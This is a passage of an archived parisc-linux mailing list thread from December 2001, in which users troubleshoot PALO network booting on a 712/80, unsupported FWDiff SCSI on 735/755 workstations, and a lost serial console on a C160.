In-Reply-To: <Pine.LNX.4.42.0112141736530.29092-100000@r6.petescaff.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13357

I tried messing as per my previous mail but the net boot fails miserably.
I get the following output in the console (some lines truncated beyond my
control).....

Edit which field?
(or 'b' to boot with this command line)? b

Command line for kernel: 'ncr53c8xx=burst:3 HOME=/ root=/dev/ram
console=ttyS0 '
Selected kernel: /vmlinux32 from partition 0
Selected ramdisk: /ramdisk from partition 0

ERROR: Read from boot device failed (status = -3).
byteio_read: seekread() returned -1 expected 2048

ERROR: Read from boot device failed (status = -3).
byteio_read: seekread() returned -1 expected 2048
                                             Couldn't grok your kernel exect
ERROR: failed to load kernel


I will try again later with a lifimage from 0.9.2 as I used that some time
ago without any problems.

PeteM

On Fri, 14 Dec 2001, Peter Mottram wrote:

> Hello Tommi
>
> On Fri, 14 Dec 2001, Tommi Aihkisalo wrote:
>
> > Hello all!
> >
> > I am having a problem with my 712/80 when booting with bootp/tftp. With
> > some effort I got it requesting kernel image (lifimage) over the
> > network. The
>
> [SNIP]
>
> I too have just tried a net boot of 0.9.3 from a remote location and also
> failed. I noticed MUCH too late that the lifimage contains the following
> files:
>
>     0/vmlinux32 3122078 bytes @ 0x7800
>     0/vmlinux64 3990942 bytes @ 0x302000
>     0/ramdisk 1946807 bytes @ 0x6d0800
>
> But PALO chooses a default kernel path of
>
>     0/linux
>
> I assume that is simply that the PALO definition in the lifimage is
> incorrect. Once I get my remote button pusher to power cycle the system
> for me (she is out shopping right now) I will try an interactive boot &
> change the command line to boot the correct kernel.
>
> If you get chance to try this before me then please let me know how it
> goes.
>
> Cheers
> PeteM





From - Thu Nov 08 21:20:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Mottram <peter@petescaff.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Network bootproblem with 712/80
Date: Fri, 14 Dec 2001 19:10:58 +0100 (CET)
Lines: 84
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.42.0112141908140.1049-100000@r6.petescaff.com>
References: <Pine.LNX.4.42.0112141738450.29092-100000@r6.petescaff.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620849 31585 80.91.229.3 (22 Nov 2014 01:47:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:29 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Peter Mottram <peter@petescaff.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Dec 14 11:11:00 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.petescaff.com (petem.xs4all.nl [194.109.247.92])
	by dsl2.external.hp.com (Postfix) with ESMTP id E8F00482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 14 Dec 2001 11:10:59 -0700 (MST)
Original-Received: from r6.petescaff.com ([192.168.0.3])
	by smtp.petescaff.com with esmtp (Exim 3.22 #5)
	id 16EwnS-0006Bk-00; Fri, 14 Dec 2001 19:10:58 +0100
Original-Received: from apm (helo=localhost)
	by r6.petescaff.com with local-esmtp (Exim 3.32 #1 (Debian))
	id 16EwnS-0000LW-00; Fri, 14 Dec 2001 19:10:58 +0100
X-X-Sender: apm@r6.petescaff.com
In-Reply-To: <Pine.LNX.4.42.0112141738450.29092-100000@r6.petescaff.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13358

It looks like my problems are simply down to supplying the NCR overflow
fix parameter. Without that I can boot & install without problems.

Let's just hope I can get away with an install without too many problems &
then go for a fixed kernel later.

PeteM

On Fri, 14 Dec 2001, Peter Mottram wrote:

> I tried messing as per my previous mail but the net boot fails miserably.
> I get the following output in the console (some lines truncated beyond my
> control).....
>
> Edit which field?
> (or 'b' to boot with this command line)? b
>
> Command line for kernel: 'ncr53c8xx=burst:3 HOME=/ root=/dev/ram
> console=ttyS0 '
> Selected kernel: /vmlinux32 from partition 0
> Selected ramdisk: /ramdisk from partition 0
>
> ERROR: Read from boot device failed (status = -3).
> byteio_read: seekread() returned -1 expected 2048
>
> ERROR: Read from boot device failed (status = -3).
> byteio_read: seekread() returned -1 expected 2048
>                                              Couldn't grok your kernel exect
> ERROR: failed to load kernel
>
>
> I will try again later with a lifimage from 0.9.2 as I used that some time
> ago without any problems.
>
> PeteM
>
> On Fri, 14 Dec 2001, Peter Mottram wrote:
>
> > Hello Tommi
> >
> > On Fri, 14 Dec 2001, Tommi Aihkisalo wrote:
> >
> > > Hello all!
> > >
> > > I am having a problem with my 712/80 when booting with bootp/tftp. With
> > > some effort I got it requesting kernel image (lifimage) over the
> > > network. The
> >
> > [SNIP]
> >
> > I too have just tried a net boot of 0.9.3 from a remote location and also
> > failed. I noticed MUCH too late that the lifimage contains the following
> > files:
> >
> >     0/vmlinux32 3122078 bytes @ 0x7800
> >     0/vmlinux64 3990942 bytes @ 0x302000
> >     0/ramdisk 1946807 bytes @ 0x6d0800
> >
> > But PALO chooses a default kernel path of
> >
> >     0/linux
> >
> > I assume that is simply that the PALO definition in the lifimage is
> > incorrect. Once I get my remote button pusher to power cycle the system
> > for me (she is out shopping right now) I will try an interactive boot &
> > change the command line to boot the correct kernel.
> >
> > If you get chance to try this before me then please let me know how it
> > goes.
> >
> > Cheers
> > PeteM
>
>
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>





From - Thu Nov 08 21:20:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Phil Anderson <andersop@neverland.ncssm.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: 735 and SCSI (was: Re: [parisc-linux] Firmware upgraded, STI console
 problem)
Date: Fri, 14 Dec 2001 13:58:03 -0500 (EST)
Lines: 65
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0112141351590.31282-100000@bob.ncssm.edu>
References: <1008253261.495.4.camel@beavis>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620849 31588 80.91.229.3 (22 Nov 2014 01:47:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:29 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, Tom <palinux@alaskatech.org>,
	palinux <parisc-linux@lists.parisc-linux.org>
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Dec 14 12:01:06 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bob.ncssm.edu (bob.ncssm.edu [152.34.37.42])
	by dsl2.external.hp.com (Postfix) with SMTP id BDA78482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 14 Dec 2001 12:01:04 -0700 (MST)
Original-Received: (qmail 4782 invoked by uid 20004); 14 Dec 2001 18:58:03 -0000
Original-Received: from localhost (sendmail-bs@127.0.0.1)
  by localhost with SMTP; 14 Dec 2001 18:58:03 -0000
X-X-Sender: <andersop@bob.ncssm.edu>
In-Reply-To: <1008253261.495.4.camel@beavis>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13359

On 13 Dec 2001, Ryan Bradetich wrote:

> On Wed, 2001-12-12 at 22:20, Matthew Wilcox wrote:
> > On Wed, Dec 12, 2001 at 07:41:57PM -0900, Tom wrote:
> > > By all means, feel free to post corrections, either here or direct to
> > > me, and I'll update it. Also, if someone can think of something else
> > > useful for it, just ask... (Perhaps the minimum kernel revision needed?)
> >
> > E, F, G, H, I class aren't supported straight off the CD; they require
> > additional changes, AIUI.  Not to mention no support for their SCSI
> > adapters.  K mostly works... similar problems to E.  D & R should work
> > fine (problem with D class with remote management console).  735's FWDiff
> > scsi doesn't work.
>
> 755 has the same FWDiff as the 735 (outfield) so it doesn't work either.


So that would explain why none my 735's can detect hard drives.

I can boot off a CD on the regular scsi, and even though the boot_admin
will detect my disks debian won't.

so has _anyone_ gotten a 735 working or anything? I have 7 of them that
are taking up space in my dorm room, and two 755's under the desk that
server the same purpose...

-phil






>
> - Ryan
>
> > --
> > Revolutions do not require corporate support.
> >
> > _______________________________________________
> > parisc-linux mailing list
> > parisc-linux@lists.parisc-linux.org
> > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> >
>
>
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>

-- 
===============================================================================

Phil Anderson
UNIX Systems Administrator
andersop@neverland.ncssm.edu
The_13th_Ewok@hotmail.com

"Go CRAZY? Don't mind if I do! Woowoowoowoo!" -Homer Simpson




From - Thu Nov 08 21:20:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "James P. Kinney III" <jkinney@localnetsolutions.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Hardware? nothing boots.
Date: 14 Dec 2001 17:25:23 -0500
Lines: 50
Approved: news@gmane.org
Message-ID: <1008368723.3023.6.camel@archimedes.localnetsolutions.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature";
	boundary="=-MaJqueg6FRNwDMnuA6A+"
X-Trace: ger.gmane.org 1416620850 31593 80.91.229.3 (22 Nov 2014 01:47:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:30 +0000 (UTC)
To: palinux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Dec 14 15:25:52 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maynard.mail.mindspring.net (maynard.mail.mindspring.net [207.69.200.243])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9CCCC482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 14 Dec 2001 15:25:52 -0700 (MST)
Original-Received: from archimedes.localnetsolutions.com ([199.174.105.194])
	by maynard.mail.mindspring.net with esmtp (Exim 3.33 #1)
	id 16F0m6-0002uo-00
	for parisc-linux@lists.parisc-linux.org; Fri, 14 Dec 2001 17:25:50 -0500
Original-Received: (from jkinney@localhost)
	by archimedes.localnetsolutions.com (8.11.6/linuxconf) id fBEMPNr05580;
	Fri, 14 Dec 2001 17:25:23 -0500
X-Mailer: Evolution/1.0 (Preview Release)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13360

--=-MaJqueg6FRNwDMnuA6A+
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable

I was installing 0.9.3. Serial console installation. For some reason, my
keyboard is seen as sending double carriage returns in palinux. This is,
of course, a major problem during the config process. I got as far as
the second stage "you have a minimal system", had
downloaded/apt-get/CD'ed EVERYTHING since I can't select from the menu's
with the keyboard. During the dpkg configure all this stuff phase, I got
stuck. tab wouldn't advance me to the next control item and I would up
with a "help" screen that would only close with an "enter" which doubles
and reopens the same help screen. Aargh!

So I hit the power switch after about an hour of trying everything I can
find.

Big problems. No console. No keyboard. The boot process hangs and has
every status light on but the heartbeat. The big monitor has a video
signal, but no text. The serial console monitor is on, blinking curser.
It responds keyboard (echos to screen).

Any suggestions?
--=20
James P. Kinney III   \Changing the mobile computing world/
President and COO      \          one Linux user         /
Local Net Solutions,LLC \           at a time.          /
770-493-8244             \.___________________________./

GPG ID: 829C6CA7 James P. Kinney III (M.S. Physics)
<jkinney@localnetsolutions.com>
Fingerprint =3D 3C9E 6366 54FC A3FE BA4D 0659 6190 ADC3 829C 6CA7=20



--=-MaJqueg6FRNwDMnuA6A+
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQA8GnxTYZCtw4KcbKcRApa6AKDxUKD3Xtvjjpa32+LeSm260kyFfgCgwqqt
lmFShq9jb0hAOnvxCdM11EY=
=oVwA
-----END PGP SIGNATURE-----

--=-MaJqueg6FRNwDMnuA6A+--



From - Thu Nov 08 21:20:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 735 and SCSI (was: Re: [parisc-linux] Firmware upgraded, STI console problem)
Date: Fri, 14 Dec 2001 22:55:05 +0000
Lines: 12
Approved: news@gmane.org
Message-ID: <20011214225505.F27312@linuxcare.com>
References: <1008253261.495.4.camel@beavis> <Pine.LNX.4.33.0112141351590.31282-100000@bob.ncssm.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620850 31597 80.91.229.3 (22 Nov 2014 01:47:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:30 +0000 (UTC)
Cc: Ryan Bradetich <rbradetich@uswest.net>,
	Matthew Wilcox <willy@debian.org>, Tom <palinux@alaskatech.org>,
	palinux <parisc-linux@lists.parisc-linux.org>
To: Phil Anderson <andersop@neverland.ncssm.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Dec 14 15:55:46 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust100.bre.cable.ntl.com [213.107.176.100])
	by dsl2.external.hp.com (Postfix) with ESMTP id 87AA9482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 14 Dec 2001 15:55:45 -0700 (MST)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 2F586B00C; Fri, 14 Dec 2001 22:55:05 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <Pine.LNX.4.33.0112141351590.31282-100000@bob.ncssm.edu>; from andersop@neverland.ncssm.edu on Fri, Dec 14, 2001 at 01:58:03PM -0500
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13361

On Fri, Dec 14, 2001 at 01:58:03PM -0500, Phil Anderson wrote:
> so has _anyone_ gotten a 735 working or anything? I have 7 of them that
> are taking up space in my dorm room, and two 755's under the desk that
> server the same purpose...

I believe some people have had 735 working using narrow SE disks on
the same i/f as the CD.

Richard




From - Thu Nov 08 21:20:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Hardware? nothing boots.
Date: Fri, 14 Dec 2001 16:41:15 -0700
Lines: 9
Approved: news@gmane.org
Message-ID: <E16F1x5-0006hT-00@noam.fc.hp.com>
References: <1008368723.3023.6.camel@archimedes.localnetsolutions.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620850 31599 80.91.229.3 (22 Nov 2014 01:47:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:30 +0000 (UTC)
Cc: palinux <parisc-linux@lists.parisc-linux.org>
To: "James P. Kinney III" <jkinney@localnetsolutions.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Dec 14 16:41:18 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel9.hp.com (atlrel9.hp.com [156.153.255.214])
	by dsl2.external.hp.com (Postfix) with ESMTP id E2F4F482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 14 Dec 2001 16:41:17 -0700 (MST)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.1.50.190])
	by atlrel9.hp.com (Postfix) with ESMTP
	id 498242031D; Fri, 14 Dec 2001 18:41:16 -0500 (EST)
Original-Received: from noam.fc.hp.com (noam.fc.hp.com [15.1.52.69])
	by ldl.fc.hp.com (Postfix) with ESMTP
	id D1EFA440C; Fri, 14 Dec 2001 16:41:15 -0700 (MST)
Original-Received: from localhost
	([127.0.0.1] helo=fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.32 #1 (Debian))
	id 16F1x5-0006hT-00; Fri, 14 Dec 2001 16:41:15 -0700
In-Reply-To: Your message of "14 Dec 2001 17:25:23 EST."
             <1008368723.3023.6.camel@archimedes.localnetsolutions.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13362

= Big problems. No console. No keyboard.

And no information.  What kind of parisc box?  What is your
serial console?  Terminal?  Terminal software?  What kind?  etc


	-P



From - Thu Nov 08 21:20:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "James P. Kinney III" <jkinney@localnetsolutions.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Hardware? nothing boots.
Date: 14 Dec 2001 18:53:08 -0500
Lines: 49
Approved: news@gmane.org
Message-ID: <1008373989.3027.10.camel@archimedes.localnetsolutions.com>
References: <1008368723.3023.6.camel@archimedes.localnetsolutions.com>  
	<E16F1x5-0006hT-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature";
	boundary="=-ADFXYxJlHQT2R0CSuGM+"
X-Trace: ger.gmane.org 1416620851 31602 80.91.229.3 (22 Nov 2014 01:47:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:31 +0000 (UTC)
Cc: palinux <parisc-linux@lists.parisc-linux.org>
To: Paul Bame <bame@fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Dec 14 16:53:43 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from granger.mail.mindspring.net (granger.mail.mindspring.net [207.69.200.148])
	by dsl2.external.hp.com (Postfix) with ESMTP id 07138482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 14 Dec 2001 16:53:43 -0700 (MST)
Original-Received: from archimedes.localnetsolutions.com ([199.174.105.194])
	by granger.mail.mindspring.net with esmtp (Exim 3.33 #1)
	id 16F292-0007SH-00; Fri, 14 Dec 2001 18:53:36 -0500
Original-Received: (from jkinney@localhost)
	by archimedes.localnetsolutions.com (8.11.6/linuxconf) id fBENr9Z05974;
	Fri, 14 Dec 2001 18:53:09 -0500
In-Reply-To: <E16F1x5-0006hT-00@noam.fc.hp.com>
X-Mailer: Evolution/1.0 (Preview Release)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13363

--=-ADFXYxJlHQT2R0CSuGM+
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable

Oops. I forgot to include the details.

C160, HP 700/96 console. The big monitor is a 4033A connected to a
4071B_LZ graphics card. I don't have an adapter for the onboard Gecko
graphics. I have yet to get console on the STI graphics.

The box is booting now. (???) I can ping it and it has a heartbeat. No
screen access or keyboard. I've tried moving the console to serial_2 on
the box. No luck.=20

On Fri, 2001-12-14 at 18:41, Paul Bame wrote:
> =3D Big problems. No console. No keyboard.
>=20
> And no information.  What kind of parisc box?  What is your
> serial console?  Terminal?  Terminal software?  What kind?  etc
>=20
>=20
> 	-P
--=20
James P. Kinney III   \Changing the mobile computing world/
President and COO      \          one Linux user         /
Local Net Solutions,LLC \           at a time.          /
770-493-8244             \.___________________________./

GPG ID: 829C6CA7 James P. Kinney III (M.S. Physics)
<jkinney@localnetsolutions.com>
Fingerprint =3D 3C9E 6366 54FC A3FE BA4D 0659 6190 ADC3 829C 6CA7=20



--=-ADFXYxJlHQT2R0CSuGM+
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQA8GpDkYZCtw4KcbKcRAl9vAJ92patByuzA7+RNa0PCBlKBmnAqmgCg4OnC
/UWEWw0UOgXZ4+IZUtEef+o=
=OeW5
-----END PGP SIGNATURE-----

--=-ADFXYxJlHQT2R0CSuGM+--



From - Thu Nov 08 21:20:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "James P. Kinney III" <jkinney@localnetsolutions.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Hardware? nothing boots.
Date: 14 Dec 2001 19:45:03 -0500
Lines: 67
Approved: news@gmane.org
Message-ID: <1008377103.3023.14.camel@archimedes.localnetsolutions.com>
References: <1008368723.3023.6.camel@archimedes.localnetsolutions.com>  
	<E16F1x5-0006hT-00@noam.fc.hp.com> 
	<1008373989.3027.10.camel@archimedes.localnetsolutions.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature";
	boundary="=-dt0MaK7SwHb6rAWRIX50"
X-Trace: ger.gmane.org 1416620851 31604 80.91.229.3 (22 Nov 2014 01:47:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:31 +0000 (UTC)
To: palinux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Dec 14 17:45:31 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from granger.mail.mindspring.net (granger.mail.mindspring.net [207.69.200.148])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7C9E8482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 14 Dec 2001 17:45:31 -0700 (MST)
Original-Received: from archimedes.localnetsolutions.com ([199.174.105.194])
	by granger.mail.mindspring.net with esmtp (Exim 3.33 #1)
	id 16F2xG-000432-00
	for parisc-linux@lists.parisc-linux.org; Fri, 14 Dec 2001 19:45:30 -0500
Original-Received: (from jkinney@localhost)
	by archimedes.localnetsolutions.com (8.11.6/linuxconf) id fBF0j3F06249;
	Fri, 14 Dec 2001 19:45:03 -0500
In-Reply-To: <1008373989.3027.10.camel@archimedes.localnetsolutions.com>
X-Mailer: Evolution/1.0 (Preview Release)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13364

--=-dt0MaK7SwHb6rAWRIX50
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable

OK. After some brain dead moments with minicom (reset after changing com
ports!) I'm into the C160. I think the 700/96 just died. Not sure yet.

